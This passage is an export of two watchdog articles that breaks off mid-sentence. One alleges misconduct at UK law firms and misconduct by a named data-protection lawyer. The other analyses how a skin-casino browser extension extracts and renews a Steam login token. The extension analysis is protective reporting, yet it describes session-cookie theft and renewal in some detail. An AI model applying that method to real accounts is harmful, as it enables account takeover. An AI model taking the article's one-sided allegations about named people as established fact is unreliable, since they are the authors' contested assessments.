head.\tLockdown; press comments disabled.\n“Snoggo” case\t2014\tMaples Teesdale\tEquity partner\tRetired without scandal.\tThe complainant was escorted out and made to sign an NDA for £10,000.\nRyan Beckwith case\t2019–2020\tFreshfields\tAppraisal partner\tCleared by the High Court on appeal.\tThe court treated the encounter between the intoxicated superior and subordinate as a private matter; the SRA lost.\nDarren Roiser case\t2025\tKWM\tManaging partner\tCleared by the disciplinary tribunal.\tInsufficient video evidence and heavy intoxication on both sides.\n07 / AGENT OLGA\nDouble Standards and Hypocrisy: Firms' Responses to Junior Employees in Crisis\n\nWhile firms and regulators display remarkable flexibility and forgiveness towards senior partners, their treatment of junior staff can be exceptionally harsh.\n\nFor example, when a DLA Piper partner was found to have forged a signature — a fundamental breach of trust in legal practice — the tribunal showed leniency by imposing only a temporary suspension. Commenters in the industry rightly noted that if an exhausted junior lawyer or trainee had made a comparable mistake, as in the tragic case of paralegal Claire Matthews, they would have been struck off and driven out of the profession permanently[15]. The SRA openly protects those with power and destroys those without it[15].\n\nThe same ruthlessness towards vulnerable employees appeared during the Covid-19 pandemic. While major firms announced 20% pay cuts or dismissed support staff — Taylor Wessing, for example, dismissed all its research assistants immediately after lockdown began[16] — partners continued to distribute multimillion-pound profits. In another case, NR Solicitors dismissed a trainee on the very first day of lockdown simply because she asked to receive her wages in full[17]. These examples demonstrate that the rhetoric of a corporate family is merely an instrument of exploitation. When a crisis arrives, junior staff are treated as expendable material, to be discarded immediately to protect equity partners' income.\n\n08 / AGENT OLGA\nConclusion\n\nThe insider case of the head of department and the trainee at Taylor Wessing in 2014 is a significant marker of systemic crisis in the legal industry. Hackers and analysts examining the underside of the corporate world do not use it by accident: it illustrates rigid ranks and the monopolisation of power.\n\nThe welcome-party incident dismantles the myth of consent in the workplace. When a 23-year-old trainee carrying debts and working 80-hour weeks faces advances from a multimillionaire equity owner, refusal becomes impossible because of the fear of career annihilation. This is not romance, but structural coercion flourishing in an ecosystem dominated by male partners — 85% — and inhabited below them by female trainees.\n\nThe firm's response — immediate informational lockdown, refusal to dismiss the partner and preservation of his financial privileges — vividly illustrates corporate priorities. Management is prepared to use aggressive legal instruments, including defamation threats and NDAs, to conceal its rainmakers' wrongdoing, leaving victims unprotected and face-to-face with their aggressors in the same office.\n\nRelated precedents, from the pressure to sign an NDA at Maples Teesdale to the regulator's failures in the Beckwith and Roiser cases, demonstrate that the contemporary legal and corporate architecture is neither able nor willing to hold the highest tier of legal power accountable. As long as regulators and courts treat the exploitation of subordinates as a private matter, and investigations remain in the hands of internal HR departments serving capital's interests, City law firms will remain feudal enclaves. Junior lawyers within them are condemned to permanent vulnerability, knowing that, if their boundaries are violated, the corporate machine will protect the aggressor who brings in revenue.\n\nWhy we cannot remain silent\nWhen a paid representative speaks as though the verdict is already his.\n\nWhat brings this history into the present investigation is the aggression we perceive in Dr Patrick's correspondence — including its passive-aggressive pressure on a person he does not personally know. The starting point was a GDPR access request. In our assessment, the hostility of the response is dangerous enough that we cannot leave it unexamined.\n\nWe see a possible connection between that professional aggression and an institutional culture in which seniority, commercial value and reputation can insulate people from meaningful consequences. The history above makes the question more urgent: does the expectation of impunity help make this way of addressing a less powerful person feel acceptable?\n\nWe want to be satisfied that this is not what the client is paying for. But when a corporate representative writes as if the courts' position is already settled, the issue goes beyond tone. It raises a question about whose authority is actually being exercised: that of an independent court, or that of a professional paid to advance one party's interests?\n\nHave corporations, in practice, bought themselves a private court in the form of their legal representatives — people whose confidence and credentials make the client's preferred outcome sound like a verdict already delivered?\n\nThat is the institutional question we are raising: whether paid representation can become a way to impose a presumed outcome and make a person's rights practically unenforceable before any court has examined the matter. The evidence to test that concern is the correspondence, the handling of the request and the response after the PDF defect was reported.\n\nThe firm's history does not establish what happened in this data-access case. It explains why the combination of aggression, assertions of authority and apparently limited accountability demands examination. We consider silence in the face of that combination unacceptable.\n\n10 / The present dossier · The letter\nIt began with a request for data.\n\nDr Patrick's letter deserves separate attention. We read its tone as aggressive, including passive-aggressive. In our assessment, the allegations of criminal intent, the confidence about what courts would decide and the reference to criminal representation create pressure on the recipient. The parent dossier presents the correspondence on which this assessment rests. [18]\n\nThe request and the responsePhishDestroy's reading of the correspondence\nThe initiating act\nArt. 15\nA personal-data access request.\n\nThe requester sought access to their data under the GDPR.\n\n01 / ALLEGATIONSCriminal intentions attributed to the requester.\n02 / AUTHORITYConfidence about a future court's position.\n03 / PRESSUREThe prospect of criminal proceedings.\nAnalytical summary, not a facsimile or verbatim quotation. Read the underlying letter in the parent dossier ↗.\n\nWe are already working with psychologists on an analysis of the letter. We are not psychological experts ourselves and do not present our assessment as a professional conclusion. The subject is the text, its rhetoric and its effect on the recipient. The results of that work remain to be presented.\n\nWe want to be satisfied that aggression is not part of the service being paid for. What already concerns us is the hostility we perceive towards a stranger in correspondence written as part of paid representation of a corporation. We consider that dangerous.\n\nWe are not claiming that the client specifically commissioned or separately paid for hostility. We are asking what the professional environment permits and rewards, and whether pressure of this kind is treated as an acceptable way to handle a person's request.\n\nThe writers may be very different people in private life. Our concern is what they do and sign in their professional capacity. In our view, the letter is disproportionate to the situation and falls below the standard of professional communication a society that respects human dignity should accept.\n\nA DATA REQUEST.\nNOT AN ATTACK.\n\nThe requester did not attack Dr Patrick. They asked for their personal data. They should not have to earn a corporate representative's goodwill before their request is addressed on its merits.\n\n11 / Follow the client work\nIf scrutiny stops at the firm, examine the clients' process.\n\nIf German or European oversight bodies lack the powers to examine the firm directly — or are unwilling to confront an institution of its standing — that should not be the end of the inquiry. What about the companies whose data-access requests these lawyers handled? The underlying requests concern those companies' data, systems and decisions. External representation should not make those decisions disappear from scrutiny.\n\nThe client work offers concrete lines of inquiry: engagement records, matter registers, document numbers, instructions, reporting to the client and the records identifying whose request was being handled. Those are the records we want the competent authorities to obtain and examine. Which company commissioned the work? What was delivered in its name? Who approved it? What did the company learn after a defect was reported?\n\nThe lawyers' document numbers already provide reference points within our dossier. They are a starting point for tracing the work, not proof of what every other client received. The next question is whether the same personnel, templates, tools or instructions recur in neighbouring matters.\n\nAn inquiry that follows the records\n01Client instructionWho commissioned the response?\n02Matter & document IDsWhich request and which workflow?\n03Delivered materialWhat reached the requester?\n04Notice & decisionsWho knew, and what followed?\n\nThe failures examined above — including the treatment of women and complaints concerning personal boundaries — must not become a precedent for institutional indulgence. If serious concerns in one area have been allowed to end with limited consequences, that is a reason for greater scrutiny elsewhere.\n\nIn the present dossier, our allegations concern fabricated evidence and tactics that, in our assessment, can enable a wealthy company to make compliance practically optional. A market in which a company can effectively buy its way out of respecting the law is unacceptable in Germany and across the European Union. The allegation requires examination of the records; the firm's prestige does not answer it.\n\nThat is why we want attention directed to the corporate clients whose matters used the relevant process. What standards did they require? What checks did they perform? Were they told about the exposure? Did they commission a correction or accept the response as it stood? The scope must be established by following the work.\n\nA question for the IT sector itself\n\nWe are left asking whether this was an individual professional failure or a service model that tolerates it. Doctoral titles and claims of specialist IT-law expertise do not resolve that question. The contrast in the dossier is stark: a PDF prepared without effectively removing the concealed text, followed by the use of the right to be forgotten against reporting about the problem. [18]\n\nIs this really the standard of “elite” IT-law representation that the technology sector wants to purchase? Can a client rely on advice about digital rights and information security if the delivered document itself exposes a basic processing failure, and the response to scrutiny focuses on the visibility of the reporting?\n\nOur concern is the professional service and the incentives around it. We want to be satisfied that corporate money buys competent legal work, rather than hostility towards people exercising their rights or an expectation that the client's obligations can be made to disappear.\n\nFollow the document numbers.\nExamine the instructions.\nAsk the clients what they paid for — and what they received.\n\n12 / Requested scrutiny\nExamine the process. Examine the next case.\n\nOur insistence has a concrete meaning. We want the responsible bodies to establish the scope, repetition and handling of the practices described in the dossier.\n\nThe scope of document processing\n\nWhich neighbouring matters used the same tools, templates and PDF preparation methods? Did other disclosures retain the text that was meant to be concealed?\n\nThe repetition of pressure\n\nWere comparable accusations or threats used in responses to other people seeking their data? How many stopped pursuing their requests?\n\nThe chain of knowledge\n\nWho received the notifications, who was informed internally and who decided what would happen next?\n\nThe response to the defect\n\nWhich documents were re-examined, which consequences were addressed and how was the risk to affected people assessed?\n\nThe priorities after notice\n\nWhat resources went into fixing the problem, and what resources went into restricting the visibility of reporting about it?\n\nOur position / Why we remain uncompromising\nHow many people met the same process before one PDF exposed it?\n\nThe questions in this dossier require answers grounded in the records. Our demand is for examination of neighbouring matters and accountability grounded in records and decisions.\n\nWe want these questions put before the competent authorities and, at a systemic level, European institutions including the European Commission. A firm's name, a lawyer's title and a client's budget do not answer them.\n\nRead the full Taylor Wessing dossier\n13 / References\nThe source record.\n\nReporting, disciplinary cases and background sources. Reference 18 links to the documents and correspondence examined in the parent dossier.\n\nROLLONFRIDAYInce obtains injunction after being hacked and blackmailed ↗\nROLLONFRIDAYHacking — topic archive ↗\nLEGAL CHEEK · 15 OCTOBER 2014Taylor Wessing goes into lockdown to protect identity of partner who made out with first year trainee at welcome party ↗\nROLLONFRIDAY · 16 OCTOBER 2014Top Taylor Wessing partner stands down after pulling trainee ↗\nROLLONFRIDAY · 3 DECEMBER 2020Ryan Beckwith wins appeal against SDT over drunk sex incident verdict ↗\nLEGAL CHEEKBecome a lawyer because you’re passionate about it — not to please your parents ↗\nROLLONFRIDAY · DISCUSSIONAnnual appraisal season ↗\nROLLONFRIDAYFreshfields partner denies groping smashed junior lawyer ↗\nROLLONFRIDAY · 23 JUNE 2016Taylor Wessing offers kisses to staff ↗\nROLLONFRIDAY · 12 APRIL 2018Associate marched off premises after partner tried to snog her ↗\nROLLONFRIDAYFreshfields partner fined £35,000 for sex acts with drunk junior lawyer ↗\nROLLONFRIDAYTaylor Wessing awards Covid bonus as Gowling WLG approves 50% homeworking ↗\nROLLONFRIDAY · 10 OCTOBER 2025London Managing Partner cleared over drunken kiss with paralegal ↗\nROLLONFRIDAY · 28 JUNE 2024Disastrous Lawyerly Love Triangle of the Week ↗\nROLLONFRIDAY · 14 JULY 2023Ex-DLA Piper partner suspended for forging signature ↗\nROLLONFRIDAYNRF asks staff to take 20% pay cut, A&O cancels raises, Burges Salmon lockdown champion ↗\nROLLONFRIDAY · 20 MAY 2021Trainee sacked because she asked to be paid in full ↗\nPHISHDESTROY · PARENT DOSSIERThe Taylor Wessing Dossier — correspondence, documents and analysis ↗",
        "headings": [
          {
            "level": 2,
            "text": "Analytical Report: The Architecture of Power, Structural Coercion and Corporate Protection in the International Legal Industry — The Taylor Wessing Case",
            "anchor": "pd-taylor_wessing_olga--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-text-en"
          },
          {
            "level": 2,
            "text": "Introduction: The Vulnerability of Corporate Secrets and Insider Leaks in the Age of Cyber Threats",
            "anchor": "pd-taylor_wessing_olga--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-introduction"
          },
          {
            "level": 2,
            "text": "Anatomy of the 2014 Incident: The Illusion of Consent at the Welcome Party",
            "anchor": "pd-taylor_wessing_olga--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-2014"
          },
          {
            "level": 2,
            "text": "The Phenomenology of the 80-Hour Working Week and Structural Coercion",
            "anchor": "pd-taylor_wessing_olga--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-coercion"
          },
          {
            "level": 2,
            "text": "The “Lockdown” Strategy: Corporate Self-Defence and Sham Justice",
            "anchor": "pd-taylor_wessing_olga--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-lockdown"
          },
          {
            "level": 3,
            "text": "Information Blockade and Suppression of the Press",
            "anchor": "pd-taylor_wessing_olga--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-lockdown"
          },
          {
            "level": 3,
            "text": "The Illusion of Punishment: A Symbolic Resignation",
            "anchor": "pd-taylor_wessing_olga--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-lockdown"
          },
          {
            "level": 2,
            "text": "Systemic Objectification and Demographic Collapse: The Glass Ceiling",
            "anchor": "pd-taylor_wessing_olga--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-culture"
          },
          {
            "level": 3,
            "text": "The Demographic Gulf",
            "anchor": "pd-taylor_wessing_olga--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-culture"
          },
          {
            "level": 3,
            "text": "Institutionalising Harassment: The “Kisses as Prizes” Incident",
            "anchor": "pd-taylor_wessing_olga--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-culture"
          },
          {
            "level": 3,
            "text": "Women in the firm",
            "anchor": "pd-taylor_wessing_olga--olga-chart-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-chart-title"
          },
          {
            "level": 2,
            "text": "Comparative Analysis: Impunity and Dysfunction in the Legal Industry",
            "anchor": "pd-taylor_wessing_olga--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-cases"
          },
          {
            "level": 3,
            "text": "The Corporate Weapon: Non-Disclosure Agreements — Maples Teesdale",
            "anchor": "pd-taylor_wessing_olga--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-cases"
          },
          {
            "level": 3,
            "text": "Regulatory Failure and the High Court: Freshfields — Ryan Beckwith",
            "anchor": "pd-taylor_wessing_olga--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-cases"
          },
          {
            "level": 3,
            "text": "Alcohol Culture and Insufficient Evidence: King & Wood Mallesons",
            "anchor": "pd-taylor_wessing_olga--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-cases"
          },
          {
            "level": 3,
            "text": "“Pits of Incest” and the Absurdity of the Supervisory Chain",
            "anchor": "pd-taylor_wessing_olga--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-cases"
          },
          {
            "level": 2,
            "text": "Double Standards and Hypocrisy: Firms' Responses to Junior Employees in Crisis",
            "anchor": "pd-taylor_wessing_olga--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-double-standards"
          },
          {
            "level": 2,
            "text": "Conclusion",
            "anchor": "pd-taylor_wessing_olga--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-conclusion"
          },
          {
            "level": 2,
            "text": "When a paid representative speaks as though the verdict is already his.",
            "anchor": "pd-taylor_wessing_olga--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-connection"
          },
          {
            "level": 2,
            "text": "It began with a request for data.",
            "anchor": "pd-taylor_wessing_olga--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-letter"
          },
          {
            "level": 3,
            "text": "A personal-data access request.",
            "anchor": "pd-taylor_wessing_olga--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-letter"
          },
          {
            "level": 2,
            "text": "If scrutiny stops at the firm, examine the clients' process.",
            "anchor": "pd-taylor_wessing_olga--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-clients"
          },
          {
            "level": 3,
            "text": "A question for the IT sector itself",
            "anchor": "pd-taylor_wessing_olga--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-clients"
          },
          {
            "level": 2,
            "text": "Examine the process. Examine the next case.",
            "anchor": "pd-taylor_wessing_olga--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 3,
            "text": "The scope of document processing",
            "anchor": "pd-taylor_wessing_olga--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 3,
            "text": "The repetition of pressure",
            "anchor": "pd-taylor_wessing_olga--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 3,
            "text": "The chain of knowledge",
            "anchor": "pd-taylor_wessing_olga--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 3,
            "text": "The response to the defect",
            "anchor": "pd-taylor_wessing_olga--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 3,
            "text": "The priorities after notice",
            "anchor": "pd-taylor_wessing_olga--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-review"
          },
          {
            "level": 2,
            "text": "How many people met the same process before one PDF exposed it?",
            "anchor": "pd-taylor_wessing_olga--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga"
          },
          {
            "level": 2,
            "text": "The source record.",
            "anchor": "pd-taylor_wessing_olga--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga#olga-sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga"
          },
          {
            "label": "parent dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing"
          },
          {
            "label": "Read the full Taylor Wessing dossier",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing"
          },
          {
            "label": "Ince obtains injunction after being hacked and blackmailed ↗",
            "url": "https://www.rollonfriday.com/news-content/ince-obtains-injunction-after-being-hacked-and-blackmailed"
          },
          {
            "label": "Hacking — topic archive ↗",
            "url": "https://www.rollonfriday.com/taxonomy/term/859"
          },
          {
            "label": "Taylor Wessing goes into lockdown to protect identity of partner who made out with first year trainee at welcome party ↗",
            "url": "https://www.legalcheek.com/2014/10/taylor-wessing-goes-into-lockdown-to-protect-identity-of-partner-who-made-out-with-first-year-trainee-at-welcome-party/"
          },
          {
            "label": "Top Taylor Wessing partner stands down after pulling trainee ↗",
            "url": "https://www.rollonfriday.com/news-content/exclusive-top-taylor-wessing-partner-stands-down-after-pulling-trainee"
          },
          {
            "label": "Ryan Beckwith wins appeal against SDT over drunk sex incident verdict ↗",
            "url": "https://www.rollonfriday.com/news-content/ryan-beckwith-wins-appeal-against-sdt-over-drunk-sex-incident-verdict"
          },
          {
            "label": "Become a lawyer because you’re passionate about it — not to please your parents ↗",
            "url": "https://www.legalcheek.com/lc-careers-posts/become-a-lawyer-because-youre-passionate-about-it-not-to-please-your-parents/"
          },
          {
            "label": "Annual appraisal season ↗",
            "url": "https://www.rollonfriday.com/discussion/annual-appraisal-season"
          },
          {
            "label": "Freshfields partner denies groping smashed junior lawyer ↗",
            "url": "https://www.rollonfriday.com/news-content/freshfields-partner-denies-groping-smashed-young-lawyer"
          },
          {
            "label": "Taylor Wessing offers kisses to staff ↗",
            "url": "https://www.rollonfriday.com/news-content/exclusive-taylor-wessing-offers-kisses-staff"
          },
          {
            "label": "Associate marched off premises after partner tried to snog her ↗",
            "url": "https://www.rollonfriday.com/news-content/exclusive-associate-marched-premises-after-partner-tried-snog-her"
          },
          {
            "label": "Freshfields partner fined £35,000 for sex acts with drunk junior lawyer ↗",
            "url": "https://www.rollonfriday.com/news-content/freshfields-partner-resigns-after-guilty-verdict-sex-acts-drunk-junior"
          },
          {
            "label": "Taylor Wessing awards Covid bonus as Gowling WLG approves 50% homeworking ↗",
            "url": "https://www.rollonfriday.com/news-content/taylor-wessing-awards-covid-bonus-gowling-wlg-approves-50-homeworking"
          },
          {
            "label": "London Managing Partner cleared over drunken kiss with paralegal ↗",
            "url": "https://www.rollonfriday.com/news-content/london-managing-partner-cleared-over-drunken-kiss-paralegal"
          },
          {
            "label": "Disastrous Lawyerly Love Triangle of the Week ↗",
            "url": "https://www.rollonfriday.com/news-content/disastrous-lawyerly-love-triangle-week"
          },
          {
            "label": "Ex-DLA Piper partner suspended for forging signature ↗",
            "url": "https://www.rollonfriday.com/news-content/ex-dla-piper-partner-suspended-forging-signature"
          },
          {
            "label": "NRF asks staff to take 20% pay cut, A&O cancels raises, Burges Salmon lockdown champion ↗",
            "url": "https://www.rollonfriday.com/news-content/nrf-asks-staff-take-20-pay-cut-ao-cancels-raises-burges-salmon-lockdown-champion"
          },
          {
            "label": "Trainee sacked because she asked to be paid in full ↗",
            "url": "https://www.rollonfriday.com/news-content/trainee-sacked-because-she-asked-be-paid-full"
          },
          {
            "label": "The Taylor Wessing Dossier — correspondence, documents and analysis ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Characteristic",
                "Head of Department (Equity Partner)",
                "First-Year Trainee"
              ],
              [
                "Corporate status",
                "Co-owner of the business; senior management.",
                "The lowest tier in the legal hierarchy."
              ],
              [
                "Financial position",
                "Multimillion-pound wealth; a share of the firm's profits, with profits per equity partner measured in hundreds of thousands of pounds.",
                "A fixed starting salary, often burdened in the City by tens of thousands of pounds in student debt."
              ],
              [
                "Influence over careers",
                "Has a veto over recruitment; allocates bonuses and valuable projects.",
                "Entirely dependent on partners' appraisals to obtain a permanent contract."
              ],
              [
                "Level of protection",
                "Protected by capital, a client base and the corporate machine: the partner's revenue is the firm's revenue.",
                "Easily replaceable; dismissal means losing a profession and the investment made in education."
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Position (Taylor Wessing, 2014)",
                "Women",
                "Men",
                "Authority"
              ],
              [
                "Associates (employed lawyers)",
                "53%",
                "47%",
                "Perform the work; depend on appraisals."
              ],
              [
                "Partners (business owners)",
                "15%",
                "85%",
                "Make decisions; share profits."
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Precedent",
                "Year",
                "Firm",
                "Senior person's status",
                "Outcome for the partner",
                "Protection mechanism / reason for regulatory failure"
              ],
              [
                "Head of Department case",
                "2014",
                "Taylor Wessing",
                "Equity partner",
                "Retained equity and employment; stepped down as head.",
                "Lockdown; press comments disabled."
              ],
              [
                "“Snoggo” case",
                "2014",
                "Maples Teesdale",
                "Equity partner",
                "Retired without scandal.",
                "The complainant was escorted out and made to sign an NDA for £10,000."
              ],
              [
                "Ryan Beckwith case",
                "2019–2020",
                "Freshfields",
                "Appraisal partner",
                "Cleared by the High Court on appeal.",
                "The court treated the encounter between the intoxicated superior and subordinate as a private matter; the SRA lost."
              ],
              [
                "Darren Roiser case",
                "2025",
                "KWM",
                "Managing partner",
                "Cleared by the disciplinary tribunal.",
                "Insufficient video evidence and heavy intoxication on both sides."
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "trade-tracking",
      "language": "en",
      "title": "How skin casinos use the Steam session — PhishDestroy",
      "author": "Agent Leon",
      "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking",
      "source_file": "steam_dossier/trade-tracking.html",
      "source_html_sha256": "fc1c459577573c11aaf06d8b3dfee3e92048c7900dee2587209083e5dbb1092b",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "trade-tracking.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/trade-tracking.pdf",
        "sha256": "c68595a4fdec79a305d6811f1ac00eed135afc910a5fea384f3280e748479040",
        "bytes": 396277,
        "pages": 26
      },
      "integrity": {
        "signed_object": "trade-tracking.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/trade-tracking.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/trade-tracking.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nCSGOEMPIRE / CSGOROLL / CSGOFAST · REVIEWED 10 OCTOBER 2026\nInside the Steam session.\nINVESTIGATION BY AGENT LEON\n\nHow casino trade tracking turns the user’s logged-in account into part of the settlement system.\n\nA skin can move directly between two Steam accounts while the commercial transaction remains under the casino’s control. Empire’s instructions explain why it wants access to the user’s trade history: it uses the result to decide when the seller receives coins. Its extension shows how that access is obtained and renewed. Roll and Fast use different implementations, examined separately below.\n\nInspect the mechanism ↓Compare all three operators\nACQUIRED FROM GOOGLE’S UPDATE SERVICE\nTrade Token Sync 1.2.4\nsteamLoginSecurecookies · scripting · storage · tabs<all_urls>\n\nThe official Empire guide links to this extension. The package identity and signatures were checked.\n\nCODE EXAMINED / NO ACCOUNT CONNECTED\nWHY THIS MATTERS TO OWNERSHIP\n\nThe ability to send a skin does not give the user control over the exchange. Steam must allow the transfer, and the outside operator must recognise it and release the return. The code and policies below identify the decisions that remain with those intermediaries. Read the physical-ownership comparison ↗\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\n01 / THE CLAIM AND THE IMPLEMENTATION\nEmpire receives an authentication credential from the Steam session\n\nEmpire offers two ways to enable tracking: copy a token from an authenticated Steam page, or install the extension linked by its guide. Both routes are presented as ways to verify completed trades and release the seller’s coins. [T01] [T02]\n\n“The token can't be used for anything else.”\nCSGOEmpire · Trade Tracking (Desktop Guide) [T01]\n\nThe downloaded extension makes the handoff explicit. Its background/steam.js reads the steamLoginSecure cookie, separates the Steam account ID from the access token, and returns that token. The upload code can then send it unchanged to a registered partner endpoint. This is authentication material from the account’s existing session, not a receipt generated for one completed trade. [CT02]\n\nThat distinction is essential when assessing the assurance above. The reviewed path contains no exchange for a new credential restricted to one trade or history method. What the exported token can actually authorise is determined by Steam’s receiving endpoints. The code establishes the export; a claim that the credential is technically incapable of any other use requires evidence of those endpoint restrictions. Describing its intended use does not demonstrate its enforced limits. [CT05]\n\nCODE PATH / TRADE TOKEN SYNC 1.2.4\nOne session. A continuing connection.\nIllustrated from code\nNot live account traffic\n\nRead the login cookie, inspect the token’s expiry and check the registered recipient. A token close to expiry takes a separate refresh branch; a later cookie change can start another sync.\n\nSTEAM BROWSER SESSION\nLogin cookie\n\nSteam ID + access token\n\nsteamLoginSecureRead the cookie finding\nEXTENSION WORKER\nExtract token. Check expiry.\n\nCookie permission + host access\n\nThe Steam credential is not narrowed.Inspect the extraction\nREGISTERED RECIPIENT\nReceive the token.\n\nRecipient, account and freshness checks\n\nPUT → configured endpointInspect the recipient gate\nCONDITIONAL / BELOW 1 HOUR\nRequest a Steam refresh.\n\nInactive tab · closed after 5 seconds\n\n/jwt/refreshInspect the refresh branch\nCONDITIONAL / NEXT PASS\nIf the cookie changes…\n\nSchedule another sync after 10 seconds.\n\nThe refresh pass itself sends no token.Inspect the next trigger\nPLATFORM SETTLEMENT\nTrade verification.\n\nThe service checks the trade for its own settlement process.\n\nItem delivery and coin release are separate.Follow the two records\n\nREFRESH IS CONDITIONALThe illustration follows a successful cookie update into a later sync. A later sync reads the changed cookie; recipient and freshness checks govern the upload. CT03 · CT05\n\nThe extension extracts a Steam-issued token and can ask Steam to refresh the session before sending a newer token. The partner-registration checks and timing conditions are explained in the next section. CT02–CT05 ↗\nWHY USE A BROWSER EXTENSION?\nThe browser permissions explain how the extension reaches that credential\nMANIFEST HOST REQUEST<all_urls>\nDESCRIBED TRADING TASKSteam + participating sites\n\nThe manifest requests access across all matching URLs, beyond the Steam and partner pages needed for the described transaction.\n\nScope requested by the package, subject to Chrome’s restricted pages and the user’s site-access settings.\n\ncookies\n\nReads the Steam login cookie through the extension API.\n\nscripting + tabs\n\nInjects a page bridge into eligible open tabs and opens an inactive renewal tab.\n\ncontent scripts\n\nA universal message bridge is declared for all matching URLs.\n\ntrade editor\n\nA Steam-page script adds specified items to the draft trade on either side.\n\nAn ordinary page script does not receive Chrome’s privileged cookies API. An extension with the required cookie and host permissions can retrieve cookies through that API, including cookie records marked HttpOnly. Installing this package gives code a route into the Steam session that an ordinary visit to the casino’s website does not provide. [T32] [T33]\n\nThe package also contains a script for Steam’s trade-offer page. It adds specified items to the draft and redraws the offer, so the browser component performs a write operation as well as reading session data. This particular path does not submit or confirm the offer. These browser capabilities and the operations Steam accepts with an exported token are separate parts of the access model. [CT06]\n\n02 / FOUR DIFFERENT CLOCKS\nRenewal makes the connection persist beyond a single token\n\nThe guide’s daily replacement instruction describes the manual route. The extension implements a renewal process driven by the token’s expiry and browser events. Four timings appear in the instructions and code, and they perform different jobs. [T01] [CT03] [CT04]\n\nGUIDE / MANUAL TOKEN24 h\n\nThe replacement cadence stated in Empire’s instructions.\n\nCODE / EXPIRY THRESHOLD< 1 h\n\nRemaining lifetime that triggers a session-refresh attempt.\n\nCODE / WORKER INTERVAL10 min\n\nThe interval registered by the worker for another sync.\n\nCODE / COOKIE CHANGE10 sec\n\nThe delay after a matching login-cookie change before syncing.\n\nThe refresh branch opens Steam’s /jwt/refresh route in an inactive 